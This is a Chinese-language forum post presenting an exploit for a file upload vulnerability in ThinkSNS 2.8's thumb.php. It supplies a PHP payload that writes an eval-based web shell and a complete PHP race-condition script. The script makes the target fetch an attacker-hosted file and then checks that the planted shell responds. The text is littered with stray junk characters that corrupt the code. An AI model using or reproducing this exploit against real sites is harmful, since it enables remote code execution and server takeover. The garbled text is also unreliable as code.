Thinksns2.8文件上传漏洞利用exp

admin

漏洞版本
存在漏洞的版本为：最新的2.8稳定版。（其它版本没测试过）
漏洞文件
% ?6 {6 A+ M$ P1 i6 }# K存在漏洞的文件为：thumb.php
作者：韦鲲鹏
1、        准备如下PHP文件并上传到服务器（自己的）。
文件内容如下：
  x3 m. Q# B+ z* G& {+ N<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
2、        计算出临时的文件名：
# J, f: T- {% W) B# T9 @+ d这里我们可以看文件的99行（刚刚是不是没注意呀！）。

3、        上传临时文件。
, h2 _- s0 A3 _& @- ^% F4、        访问临时文件。
5 D1 H6 T: t7 x$ c& Z但是这里有个问题，PHP脚本执行的速度是非常快的，如果手工来执行第三和第四步的话，那需要的反应速度该多快呀！所以必须写一个工具来代替人来提交数 据，而且，为了增加第三步的执行时间，为第四步争取时间，我们需要给第一步所准备的PHP填充内容，经过测试，文件大小为300KB时成功率最高。（太小 时间太短，太大可能传不上去。）
Exploit文件内容如下：（这个我就不详细解释了）
5 {5 [: d3 H! x$ |8 L7 @) W  L8 U1 I<?php
9 O) W" v7 A  Serror_reporting(0);
set_time_limit(0);
5 A' r' B! s- o# {- N' ~/ Zini_set(“default_socket_timeout”, 5);
( R3 `9 D8 k$ n, {8 Pfunction http_send($host, $port, $headers) {
$fp = fsockopen($host, $port);
if (!$fp) die(‘Connection -> fail’);
fputs($fp, $headers);
2 k& p3 ?' ~6 Ereturn $fp;
}
4 G, W1 k. c, d5 P  Bfunction http_recv($fp) {
$ret=”";
while (!feof($fp))
$ret.= fgets($fp, 1024);
& P' J  k9 h& u- \5 z  Q6 Gfclose($fp);
3 G, A! J% l3 ~1 _5 hreturn $ret;
}
5 g& k# P. _$ N3 eprint “\n#  ThinkSns Arbitrary File Upload   #\n”;
print “# Discovered by 韦鲲鹏 #\n\n”;
if ($argc < 4) {
print “Usage:   php <host> <path> <romote_url>\n”;
* e  R/ o3 e! _7 R$ `8 ~0 eprint “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
die();
}
$host = $argv[1];
) _* V# ~9 H$ ~' M$path = $argv[2];
$url = $argv[3];
$i=0;
//上传数据包
+ I" }5 T  Y: `4 A+ r$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
; @# t( n. g  A' X$headers_up .= “Host: “.$host.”\r\n”;
$headers_up .= “Connection: close\r\n\r\n”;
, z" {4 e. w( Q3 U* d1 E2 necho $headers_up;
//临时文件访问数据包
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
$headers .= “Host: “.$host.”\r\n”;
) f0 e' r7 Y/ {$ ]& S0 j% |0 n$headers .= “Connection: close\r\n\r\n”;
% @. d# I7 P5 x/ uecho $headers;
while(++$i<10) {
fclose(http_send($host, 80, $headers));
7 p- }4 E$ ]4 E$ A$ ~6 r: i}
fclose(http_send($host, 80, $headers_up));
2 t' {( t! w) P/ c/ G) W3 ]1 Dwhile(++$i<50) {
; H* h( ~* k# ~# q; w; `; zfclose(http_send($host, 80, $headers));
}
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
$headers .= “Host: “.$host.”\r\n”;
8 Q: W, {  X6 _( r1 a% p2 a$headers .= “Connection: close\r\n\r\n”;
$res=http_recv(http_send($host, 80, $headers));
4 O$ |) g9 ]) P) ]' b( k: n$ yif(preg_match(‘/200 OK/’,$res)) {
' C! R0 x4 V8 ]3 fprint “Success!\n\n”;
} else {
# {+ ^( G% T$ O& S  O% Dprint “Fail!\n\n”;
}
* d2 Y& c' Q( ~6 K+ [1 g# C9 ~# ]?>
​